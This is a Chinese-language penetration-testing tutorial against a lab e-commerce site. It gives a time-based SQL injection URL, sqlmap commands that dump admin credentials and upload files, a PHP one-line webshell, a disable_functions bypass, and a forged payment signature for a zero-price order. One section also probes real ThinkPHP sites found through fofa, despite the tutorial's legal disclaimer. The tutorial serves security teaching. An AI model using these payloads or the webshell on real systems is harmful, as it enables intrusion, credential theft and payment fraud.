网络安全是数字时代的基石,但学习过程中必须严守法律红线。‌
根据《中华人民共和国网络安全法》《数据安全法》等法律法规,任何未经授权的网络测试、数据访问或攻击行为均属违法。本文所有技术讨论与实例均基于‌合法授权的靶场环境‌(如Metasploitable、DVWA、Hack The Box等),严禁将文中方法应用于真实系统或非授权场景
网络安全学习应以提升防御能力为目标,而非成为攻击工具。

我们在虚拟机中部署一个电商平台作为靶场,网址为 :www.example1.com 。以此网站为基础进行web渗透的全流程分析。

一、信息收集

在实际工作中,很有可能我们只能得到一个域名,需要针对该域名进行黑盒测试。所以在初始资产只有一个域名的情况下,应该马上去进行各种信息的收集。

1、IP收集

在这里插入图片描述

通过直接ping可以得到服务器IP地址为:192.168.70.147 且利用TTL能判断服务器应该搭载的是Linux操作系统。

windows TTL: 128

Linux TTL: 64

如果网站使用了CDN网络,则需要借助鹰图、fofa、爱企查等工具对域名的真实IP进行收集

2、端口收集

# -O: 操作系统扫描
# -sV: 版本指纹扫描
sudo nmap -O -sV 192.168.253.132

在这里插入图片描述

使用 nmap 获取常用端口信息和系统信息。且可以看到服务端21、80、888端口为开放状态。其中21为ftp默认端口,而80与888都是Apache Httpd 服务。80端口很显然就是我们的电商应用默认的HTTP端口,而888一般是PhpMyAdmin的默认端口。这些信息在后续渗透过程中可以尝试利用的点。

3、目录扫描

一般情况下,在拿到了需要测试的站点域名,可以直接在浏览器请求一下 /admin 、/web.config、/robots.txt 等常见的特殊地址。在Web应用开发人员不注重安全的情况下,可能能够直接获取到一些敏感文件信息。

如果没有,也可以使用各种目录扫描工具。目录扫描的工具很多,既有图形化的御剑、铸剑,也有命令行的dirsearch、dirmap等等。同时工具的选择也会变的重要。

就此靶场来讲,通过测试,发现请求页面失败的时候会自动跳转,所以使用7kscan(铸剑)进行扫描的时候,所有的网页都是可以被相应的,状态码都是200

在这里插入图片描述

所以需要能记录相应网页内容大小的扫描工具。比如此处使用 dirsearch

dirsearch 是Kali中自带的工具

基本语法:

dirsearch.py -u <目标网址> -e <扩展名> -r 
# -r 递归扫描目录 可选
# -e 指定扫描的文件的扩展名 可选

在这里插入图片描述

会得到各种大小不同的文件,通过使用浏览器访问他们,就能知道哪些是可访问,哪些是不能访问的,这样就可以筛选出有用的页面。

dirmap 建议在 Windows 环境下使用,Kali 对它的支持并不好,但是效果上与 dirsearch 相同。

4、其它信息

一般从网站最下边,就可以获得网站备案、使用的架构等信息;通过错误页面的反馈可以收集到使用的中间件服务是什么类型的。

在这里插入图片描述

5、信息整理

目前获得的靶场信息:

1、域名: www.example1.com

2、IP: 192.168.70.147

3、操作系統: Linux 内核98%可能是5.0,94%是4.15版本

4、开放端口: 21/80/888

5、开发语言与CMS: PHP、iWebshop、MySQL

6、后台地址: http://www.example1.com/admin/

二、系统漏洞收集

信息收集完成后,接下来就需要开始进行漏洞探针。有些漏洞人工探查难免会有遗漏,而有些漏洞漏扫工具也扫不出来。所以我们需要使用工具和人工结合的方式,来完成漏洞探针。

Web应用需要部署在操作系统中,不是Windows就是Linux。所以虽然我们的目标是对Web应用进行渗透测试,但是如果操作系统当中本身就存在某些漏洞,黑客直接利用这些漏洞就可以完成对整个系统的控制,一步到位。

对于系统漏洞的探针,可以利用的工具同样很多,包括 NessusGobyNmapOpenVAS 等等。

1、Goby 扫描

Goby主要针对系统漏洞的扫描,优点是速度快。下载地址:https://gobies.org/#dl

为了效果演示开启另一台靶机Windows Server 2008 。使用Goby 扫描。就可以看到漏洞信息

在这里插入图片描述

然后使用MSF工具就可以对相应的漏洞进行操作。

2、Nessus 扫描

Nessus号称是世界上最流行的漏洞扫描程序,全世界有超过75000个组织在使用它。该工具提供完整的电脑漏洞扫描服务。虽然也集成了Web等其他扫描功能,但主要用于系统扫描。

我们对靶机主页进行扫描,发现其系统漏洞较少

在这里插入图片描述

三、系统漏洞利用

工具也会存在误报的可能,在扫描到漏洞后,还需要进行人工验证。在获取到漏洞编号后,接下来就可以借助各种途径获取POC,验证漏洞是否真实存在。

1、Metasploit

在上一章的MSF实战中,写的比较详细,此处不再赘述!

2、Searchsploit

Searchsploit(https://gitlab.com/exploit-database/exploitdb)是一个用于漏洞库Exploit-DB的命令行搜索工具,与直接在 https://www.exploit-db.com/ 搜索是一样的效果。

Searchsploit 是Kali自带的漏洞搜索工具。

与网页中搜索不一样的是,在长时间未更新漏洞库时,需要我们自行进行更新:

# 更新漏洞库
searchsploit -u

# 搜索漏洞
searchsploit <数据库编号>

同时,SearchsploitMetasploit 在功能上也高度重叠。

3、其它

除了本地的工具之外,还可以借助搜索引擎或者各种公共漏洞平台查询,从而获取POC完成验证。

国内:
国家信息安全漏洞库(CNNVD):www.cnnvd.org.cn
国家信息安全漏洞共享平台(CNVD):www.cnvd.org.cn
国家工业信息安全漏洞库(CICSVD):https://www.cics-vd.org.cn
知道创宇漏洞平台:www.seebug.org
等等


国外:
1337day:https://cn.0day.today/
Offensive Security:https://www.exploit-db.com/
等等

github、百度、Google等

四、Web应用漏洞

Web应用在开发过程中可能会借助商业CMS、框架以及不同的中间件来快速开发;也可能会自行研发或者在已有CMS、框架与中间件基础上二次开发(即修改原生框架源码)完成。

对于基于已知的或者二次开发的CMS、框架与中间件的情况,也可以与系统漏洞验证一样,利用搜索引擎或者漏洞平台搜索获得的漏洞信息进行验证。同时对于不同CMS和框架也有专门的针对漏洞扫描工具,其实就是把公开的漏洞都收集好,利用工具自动探查,不用人工一个个去找,比如:CMSScan、WPScan、ThinkphpGUI等等。

1、已知CMS/框架

1.ThinkPHP实例

通过fofa搜索 app="ThinkPHP" && country="CN" ,找到基于ThinkPHP5搭建的站点

在这里插入图片描述

通过输入任意路径,让页面显示错误信息:

在这里插入图片描述

得知该站点基于ThinkPHP5搭建。此时可以直接百度搜索TP5漏洞,也可以借助TP针对性漏洞工具进行探针。

TPscan

在这里插入图片描述

ThinkPHPGUI

在这里插入图片描述

BurpSuite 验证

在这里插入图片描述

详细的ThinkPHP漏洞教程https://www.cnblogs.com/arrest/articles/17515491.html#0x04:%20ThinkPHP%205.0.23%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E

2、通用方式

在掌握了CMS、框架或者中间件信息后,可以直接百度搜索是否有相应的漏洞或者扫描工具。但是一般情况下,在实际工作中如果允许使用漏扫工具,更常见的是借助更通用的xray、awvs、appscan等漏扫工具进行漏洞扫描。

1.AWVS漏洞扫描

AWVS详细教程:https://zhuanlan.zhihu.com/p/691434997

Acunetix Web Vulnerability Scanner(简称AWVS)是一款知名的Web网络漏洞扫描工具,它通过网络爬虫测试你的网站安全,检测流行安全漏洞。

新建任务

在这里插入图片描述

选择保存后进入目标设置页面

在这里插入图片描述

因为扫描的是内网的靶场,所以,速度是不用设置的。但是,在实际应用中,当待扫描站点开启waf,此时可以通过调整AWVS扫描速度避免waf对频繁请求的IP进行封禁,一般不选择连续扫描,速度为缓慢

登录配置

在这里插入图片描述

如果需要AWVS能够扫描登录之后的功能,可以为AWVS配置网站登录,除了基本的利用账号、密码登录之外还可以录制登录序列脚本。

在这里插入图片描述

进入记录页面

在这里插入图片描述

进行登录的脚本录制,登录完成后点击下一步,直至出现以下提示,状态码为200 代表录制成功。

在这里插入图片描述

请求头设置:与扫描速度一样,为了防止被waf拦截,也可以配置请求头、代理:

在这里插入图片描述

所有配置完成后就可以开始扫描了。扫描需要的时间随配置的扫描速度、网络状态以及网站复杂度上升而增加。如果条件允许的情况下,也可以同时开启多个扫描工具同时扫描。

2.扫描结果验证

注意,扫描工具也会有漏报的情况,我们需要去进行人工验证并且判断漏洞的危害等级以便最后完成报告的编写。

举例说明:SQL注入漏洞(高危)

在这里插入图片描述

浏览器访问:

http://www.example1.com/index.php?action=search_list&controller=site&word=0%27XOR(if(now()=sysdate()%2Csleep(4)%2C0))XOR%27Z)XOR%27Z)

现象为至少4秒后才显示出页面,观察URL中存在 sleep(4) ,显然修改 sleep 休眠时间会对页面产生影响。此处存在SQL注入,并且为时间盲注。

2.1 使用sqlmap 注入

此时可以直接借助 sqlmap 进行数据爆破:

#获取数据库名
sqlmap-u"http://www.example1.com/index.php?controller=site&action=search_list&word=0"-p word--current-db--batch

#获取数据库有哪些表
sqlmap-u"http://www.example1.com/index.php?controller=site&action=search_list&word=0"-p word -D www_example1_com--tables--batch

#列出指定表的字段
sqlmap-u"http://www.example1.com/index.php?controller=site&action=search_list&word=0"-p word-Dwww_example1_com-Tiwebshop_admin--columns--batch

#获取指定字段数据
sqlmap-u"http://www.example1.com/index.php?controller=site&action=search_list&word=0"-p word-Dwww_example1_com-Tiwebshop_admin-Cadmin_name,password--dump --batch

获取最终的字段内容:

在这里插入图片描述

2.2 使用sqlmap 获取WebShell

利用 Sqlmap 可以直接完成 WebShell 的获取。需要的前提是:

  1. mysql 配置中,secure_file_priv=""; 可访问的IP规则是 0.0.0.0 。这两个配置条件通常情况下是具备的,因为运维人员不可能一直是在本地去维护数据库,这样会对自己的工作带来不变且突发情况无法及时处理,有概率造成严重后果。

  2. 网站使用的数据库账户允许文件读写;

    • --is-dba 判断是否具备 dba(数据库管理员权限),具备 dba 权限用户一般允许文件读写;
    # 使用示例,判断是否具有dba权限
    sqlmap -u "目标地址" --is-dba
    
    • 经验: sqlmapdba 判断有bug;若需更准确的权限检测,可使用 --privileges 参数列出所有权限,或直接查询数据库的 mysql.user 表。

    • 如果掌握数据库账号密码,并且能够直接操作数据库,可以通过SQL语句查询,否则只能尝试;

    -- 查看管理员权限表
    SELECT * FROM mysql.user WHERE Super_priv = 'Y';
    
    -- 查看username是否具备文件读写权限(普通用户只能查看自己)
    SHOW GRANTS FOR 'username'@'localhost';
    
    -- 设置username文件读写权限(需要数据库root用户)
    GRANT FILE ON *.* TO 'username'@'localhost';
     
    -- 修改后刷新权限
    FLUSH PRIVILEGES;
    
  3. 网站使用的数据库账户具有网站目录读写权限

  4. 掌握网站目录路径

方法一:--os-shell 直接获取

命令:

sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" -p word --os-shell

参数逐项解析

  1. ‌**-u 参数**‌
    • 指定目标URL:http://www.example1.com/index.php?controller=site&action=search_list&word=0
    • 这是一个典型的带参数动态页面,可能存在SQL注入漏洞
  2. -p 参数
    • 指定测试参数:word
    • 仅对URL中的word参数进行注入测试,提高检测效率
  3. ‌**--os-shell 参数**‌
    • 终极目标:获取操作系统Shell
    • 实现条件:需要数据库具备文件读写权限且知道绝对路径

运行结果:

在这里插入图片描述

在整个执行过程中,需要指定不同的参数:

  1. 网站支持的语言:根据前期信息收集掌握为php

  2. WebShell 上传路径:需要指定能够通过Web应用访问的目录

    1. common location(s) : 通用路径

    2. custom location(s):自定义路径

    3. custom directory list file:自定义的路径列表文件

    4. brute force search:爆破(同时也可以加入自定义的路径

    已知站点路径为:/www/wwwroot/www.example1.com 自定义路径的时候也写的是它

本次实验执行结果为:

# 成功上传后门-http://www.example1.com:80/tmpuhvqu.php
[INFO] the file stager has been successfully uploaded on '/www/wwwroot/www.example1.com/' -
http://www.example1.com:80/tmpuhvqu.php

# 后门已上传,但无权限执行
[CRITICAL] the backdoor has been uploaded but required privileges for running the system
commands are missing

说明 webshell 获取失败!

失败原因分析

Sqlmap--os-shell 能使用交互式shell执行命令控制被攻击设备。其本质原理和上传文件一样,就是借助SQL注入漏洞上传两个PHP文件。这两个PHP文件内容分别为:

tmpbnjiy.php

<?php
#接收cmd参数
$c=$_REQUEST["cmd"];
#......
#获取禁止函数列表
$z=@ini_get("disable_functions");
function f($n){
	global $z;
	return is_callable($n) and !in_array($n,$z);
	}
#能够执行代码的函数没有禁止,则利用该函数执行 cmd参数(命令)
if(f("system")){
    }elseif(f("proc_open")){
    #...
	}elseif(f("shell_exec")){
	#...
	}elseif(f("passthru")){
	#...
	}elseif(f("popen")){
	#...
	}elseif(f("exec")){
	#...
	}else{
	#无法执行命令
	$w=0;
	}

echo"<pre>$w</pre>";?>

tmpuhuuz.php 文件上传的页面

在这里插入图片描述

执行 --os-shell 失败,就在于 sqlmap 生成的木马脚本测试的命令执行函数,全被禁止。

方法二:SqlMap 上传文件

SqlMap 也能够让我们尝试上传 WebShell ,其前提条件与 --os-shell 一致。将一句话木马放入 kali 系统的**~/Downloads**目录,并上传到站点根目录 /www/wwwroot/www.example1.com/ 内 :

一句话木马 test.php

/**
* shell.php
*/
<?php
@eval($_POST['ant']);
?>

Kali 系统运行命令:

sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" --file-write ~/Downloads/test.php --file-dest /www/wwwroot/www.example1.com/test.php

执行情况

在这里插入图片描述

说明写入成功。使用浏览器打开 test.php 验证一下

在这里插入图片描述

传个 phpinfo() 参数看看

在这里插入图片描述

查看一下设置的禁用函数(disable_functions)

TIPS:

disable_functionsphp.ini 中的一个设置选项,可以用来设置 PHP 环境禁止使用某些函数,为了安全,运维人员会禁用PHP的一些“危险”函数,将其写在 php.ini 配置文件中,就是我们所说的 disable_functions

在这里插入图片描述

禁用了系统函数 system 。由于一句话木马通过 eval 执行 php 代码,如果执行命令,需要借助其他函数,即类似于:eval(system('ls'))。而服务器的 disable_functions 中禁止了 system 函数,导致无法执行命令。我们的最终目标是获取 webshellsystem 函数非用不可,所以需要 disable_functions 绕过技术。

disable_functions 绕过–蚁剑
  1. 安装插件

    需要在科学上网的基础上,选择 AntSword ==> 插件市场 ==> 绕过disable_functions

    或者直接从 github 上打包下载并解压到 AntSword 安装路径下的 antData\plugins

    需要重新启动才能使用插件

  2. 运行

    创建连接

    在这里插入图片描述

    选择插件

    在这里插入图片描述

打开对话框,此时的模式选择,需要一个个耐心的去测试,哪个可执行用哪个,这里选择 PHP7 GC with Certain Destructors UAF 模式

在这里插入图片描述

点击开始,就会出来 shell 界面,测试一下

在这里插入图片描述

达到预期目标,绕过 disable_functions 获取了 WebShell

五、人工探查

在实际测试过程中,就算允许使用漏扫工具,也时常需要人工测试。因为网络安全收到的重视程度越来越高,在实际的项目中已经非常少见了,现在更常见的漏洞应该是逻辑漏洞。而逻辑漏洞利用漏扫工具无法扫描得出,此时就需要人工来进行探测。

1、辅助工具Xray

Xray是一款由长亭科技开发的社区版漏洞扫描工具。之所以在人工测试中提到这款工具,是因为它的被动模式可以在人工探查时,作为一个很好的辅助工具。

Xray 最常用于网络安全领域,是一款自动化 Web 漏洞扫描工具,能快速检测网站或应用中的安全风险:

  1. 检测常见漏洞‌:如 SQL 注入、XSS 跨站脚本、文件上传漏洞等。‌
  2. 支持多种扫描模式‌:
    • 主动扫描:直接测试目标 URL。‌
    • 被动扫描:通过代理监听流量(如浏览器访问时自动分析)。‌
  3. 输出详细报告‌:结果可保存为 HTML、JSON 等格式,方便修复漏洞。‌
  4. 适用场景‌:白帽子安全测试、渗透测试、网站安全评估。‌
1.1 Xray 基本用法

第一步从命令行进入安装xray的目录下,输入以下命令启动xray。

xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output ming.html
# 未选择指定模块,xray默认全部扫描,
# --html-output 以 html 格式输出
# ming.html:输出的文件名

第二步打开浏览器代理(IP:127.0.0.1 ;端口:7777),代理开启后xray会监听在此浏览器登录的网页。

在这里插入图片描述

自定义的文件 ming.html 内就是保存的扫描结果,点击 id 前边的 号就会有详细说明

在这里插入图片描述

1.2 多工具联动

BurpSuite 在使用时是可以和多种工具配合使用的,比如 XrayAWVS 等。

此处以 XrayBurpSuite 联动为例,来介绍相关的设置。

在这里插入图片描述

设置思路:浏览器配置 BurpSuite 代理,请求数据转发给 BurpSuite ,再由 BurpSuite 转发给 Xray 进行扫描。

BurpSuite 中找到上下游代理服务器

在这里插入图片描述

点击添加后,如下图所示要求填写

在这里插入图片描述

此时,设置已经完成。

浏览器设置代理,启动 Xray 开启 BurpSuite 的代理拦截,只要BurpSuite 不放行数据,则Xray 会一直处于待机状态;如果 取消 BurpSuite 的代理拦截,就跟没有BurpSuite 运行的状态一摸一样。

TIPS

​ 使用过程中可以随时在此处关闭转发 Xray 的上下游代理,但是关闭前是不能关闭Xray 的,否则会报错!

补充知识–上/下游代理服务器

首先要明白上游/下游的概念

​ 上游和下游描述了消息流:所有消息都从上游流向下游。

​ 如果您正在查看请求,则客户端在上游,而服务器在下游;如果您正在查看响应,则客户端在下游,服务器在上游。

​ 同时,在HTTP中,大多数数据流不是用于请求的,而是用于响应的。因此,如果您考虑响应流,那么“上游服务器”这个术语听起来非常合理和合乎逻辑。该术语再次用于502响应代码描述(它与HTTP/1.0相同),以及其他一些地方。

​ 同样的逻辑也可以在自然语言中的“下载”和“上传”中看到。大多数数据流是从服务器到客户端的,这就是为什么“下载”意味着从服务器向客户端加载某些东西,以及“上传”–从客户端到服务器。

再说 上/下游代理服务器

​ 上下游代理服务器是网络通信中的关键角色,其核心功能是作为客户端与目标服务器之间的中转站,实现请求转发、数据缓存和访问控制。

  1. 基本概念与工作原理
  • 正向代理‌:位于客户端一侧,代表用户向服务器发起请求,隐藏客户端真实IP,常用于企业内网访问外网或内容加速。
  • 反向代理‌:位于服务端一侧,接收用户请求后转发至后端服务器,隐藏服务器架构,典型应用包括负载均衡和SSL终止。
  1. 主要类型与端口
  • HTTP代理‌:端口80/8080,用于网页访问和内容过滤。
  • FTP代理‌:端口21/2121,支持文件上传下载。
  • SOCKS代理‌:端口1080,支持多种协议,速度快。
  1. 应用场景
  • 正向代理‌:突破访问限制、保护隐私、缓存加速。
  • 反向代理‌:负载均衡、安全防护(如DDoS)、CDN边缘节点。
  1. 安全与配置建议
  • 风险‌:免费代理可能注入恶意代码或窃取信息。
  • 配置‌:需在系统或浏览器中设置代理IP、端口及认证信息。

2、根据功能探查

人工探查的思路就是按照可能存在漏洞的功能点进行测试。比如待测试Web应用为电商类型,存在商品购买支付流程,那么对于此流程中是否存在支付逻辑漏洞,就可以进行测试。另外对于文件上传、登录弱口令等都是可能存在漏洞的功能点,也要一一进行排查!

2.1 实例–支付逻辑漏洞

在本文的靶场内,进行支付的时候抓包,如下图所示的界面。

在这里插入图片描述

抓包的数据

在这里插入图片描述

经过多次的尝试,以下数据中最诡异的是 sign 参数 attach=202512191248507284&total_fee=3899&order_no=202512191248507284&sign=926a9c55fa62d5c848e488d4f212faf2

total_fee 是价格;attachorder_no 是时间戳。只修改价格不能通过服务器的验证。跟 sign 的值有重大关系,当前 sign 的值为32个字符,应该是MD5的方式。

虽然知道MD5加密方式的内容是不可逆的,但是还要试一试,如果密文简单是可能逆向出来的,而结果也不出任意料

在这里插入图片描述

解码失败。那就继续往下猜,将attachtotal_feeorder_no 三个值拼接并加密看看

在这里插入图片描述

密文与 sign 值完全一样。既然知道规则,那就知道这么办了,将价格参数 total_fee 改为0sign 值的密文就变成4399a037323a155a812a487780187c21

发送后,显示支付成功。最终进行了 ‘0元购’

在这里插入图片描述

3、其它

人工测试的思路就是根据功能点进行测试,有输入框就测试是否存在SQL注入、XSS等漏洞,有文件上传就测试是否能够上传木马。

同时如果在主站实在没有测试出漏洞的情况下,我们就要考虑其他的手段,比如通过子域名收集能够找到旁站;利用端口扫描,如果扫描出Ftp21端口MySQL3306端口等等,测试是否在相应端口服务存在漏洞。

比如利用前期的信息收集,发现FTP为Pure-FTPd,除了检查是否存在弱口令之外,还可以利用之前提到的 Seebugsearchsploit 等渠道搜索历史漏洞进行测试。

六、心得与总结

1、渗透测试核心流程认知

Web渗透测试是一个系统性工程,需遵循"信息收集→漏洞探测→漏洞利用→权限维持→报告输出"的完整流程。本文以电商平台靶场为案例,展示了从黑盒测试视角下的全流程渗透方法,强调工具与人工结合的测试策略,尤其突出逻辑漏洞等工具难以覆盖的场景。

2、关键技术环节总结

1. 信息收集阶段
  • 资产识别:通过ping获取服务器IP(192.168.70.147),结合TTL值(64)判断Linux系统1页;使用nmap扫描开放端口(21/80/888),识别FTP服务、Apache Httpd服务及PhpMyAdmin后台。
  • 目录与敏感信息挖掘:针对自动跳转导致的状态码误判问题,选择dirsearch工具通过内容大小差异筛选有效页面;同时通过网站备案信息、错误页面获取中间件类型等架构信息。
  • 信息整理:需形成标准化资产清单,包括域名、IP、操作系统、开放端口、技术栈(PHP、iWebshop、MySQL)等核心要素。
2. 漏洞探测与利用
  • 系统层漏洞:使用Goby、Nessus等工具扫描系统漏洞,结合Metasploit(MSF)进行验证与利用;Searchsploit可快速检索Exploit-DB漏洞库,需注意定期更新本地漏洞库(searchsploit -u)。
  • Web应用漏洞:针对已知CMS(如iWebshop)和框架(如ThinkPHP),可通过专用工具(ThinkPHPGUI)或通用漏扫工具(AWVS、xray)进行探测。以SQL注入为例,通过时间盲注(sleep(4))验证漏洞,使用sqlmap获取数据库信息(–current-db、–tables)及敏感数据。
  • WebShell获取:利用sqlmap的–os-shell参数或文件写入功能(–file-write)上传后门,但需突破disable_functions限制(如通过蚁剑插件"PHP7 GC with Certain Destructors UAF"模式绕过)。
3. 人工探查与逻辑漏洞
  • 辅助工具应用:Xray的被动扫描模式可在人工测试时监听流量,与BurpSuite联动实现请求拦截与漏洞分析。
  • 功能点测试:重点关注支付流程(如修改total_fee参数并重新计算sign值实现"0元购")、文件上传、登录认证等环节,逻辑漏洞需通过业务流程逆向与参数篡改验证。
  • 扩展测试思路:主站无漏洞时,可通过子域名收集、端口服务(如FTP 21端口)漏洞测试扩大攻击面。

3、实践经验与注意事项

  1. 工具选择策略:目录扫描优先使用支持内容大小判断的工具(如dirsearch);漏扫工具需组合使用(AWVS+Xray)以减少漏报;SQL注入测试首选sqlmap,但需注意权限与路径获取。
  2. 权限与环境限制:实战中需关注数据库文件读写权限(secure_file_priv配置)、网站目录路径获取、PHP禁用函数绕过等技术难点。
  3. 流程规范性:每个漏洞需人工验证,避免工具误报;测试过程需详细记录,为报告编写提供依据;逻辑漏洞测试需覆盖正常与异常业务场景。

4、安全意识与伦理准则

渗透测试必须在授权范围内进行,本文所有操作均基于实验靶场环境。实际工作中需严格遵守《网络安全法》等法律法规,将技术用于防御体系建设,同时注重信息保密与漏洞披露。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐